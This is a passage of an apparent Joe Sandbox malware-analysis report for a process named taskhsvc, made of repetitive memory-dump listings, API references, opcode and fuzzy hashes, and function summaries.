                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: `4$x%
                                                                                                                          • API String ID: 1190921433-1206974526
                                                                                                                          • Opcode ID: a040dc30f343f8ad5b09cd1a92230f149f6dcd8d550d338c265de66746073ff8
                                                                                                                          • Instruction ID: 4fdbe6622723a533779b0174dc9bfe12b937e16ee2179e2a83b6d60a7ce2c810
                                                                                                                          • Opcode Fuzzy Hash: a040dc30f343f8ad5b09cd1a92230f149f6dcd8d550d338c265de66746073ff8
                                                                                                                          • Instruction Fuzzy Hash: 810128B09143059FCB00EFB5D545AAEFBF0AF04314F01D869A994AB341D778DA41CFA1
                                                                                                                          Function 00C971A6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • time.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00BF4240), ref: 00C971C3
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C97222
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C97205
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$aborttime
                                                                                                                          • String ID: J6
                                                                                                                          • API String ID: 343379102-1964178003
                                                                                                                          • Opcode ID: 5b4170b61b0d6184b25a4be1761b7839ff7927ab76d151eb7122594f4aaec67c
                                                                                                                          • Instruction ID: 47109fba213be3f777cf583e98bc281d08b9f77471e00930306f0de8ee4a8a92
                                                                                                                          • Opcode Fuzzy Hash: 5b4170b61b0d6184b25a4be1761b7839ff7927ab76d151eb7122594f4aaec67c
                                                                                                                          • Instruction Fuzzy Hash: CC01F6B4918205AFCB00EFA5D4466AEBBF0EF44344F41E829E4A4AB341D778DA45CFA1
                                                                                                                          Function 00C1709E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C17343), ref: 00C17107
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C170F4
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: 2$CR15
                                                                                                                          • API String ID: 1190921433-1547190147
                                                                                                                          • Opcode ID: 309e23e02b345c54a4fedc346e4e8e12455bc3050f214b43562586d1f9b606cd
                                                                                                                          • Instruction ID: 5309eb06a446e998d369ef19e03f52613625cda7e18088860dfaf90a3f3a2465
                                                                                                                          • Opcode Fuzzy Hash: 309e23e02b345c54a4fedc346e4e8e12455bc3050f214b43562586d1f9b606cd
                                                                                                                          • Instruction Fuzzy Hash: 8EF01D74A043059FCB00EFA9D4464AEBBF1AF45304F41D859E894EB301D774E982CFA2
                                                                                                                          Function 00D421A4 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C28EF7), ref: 00D421FF
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
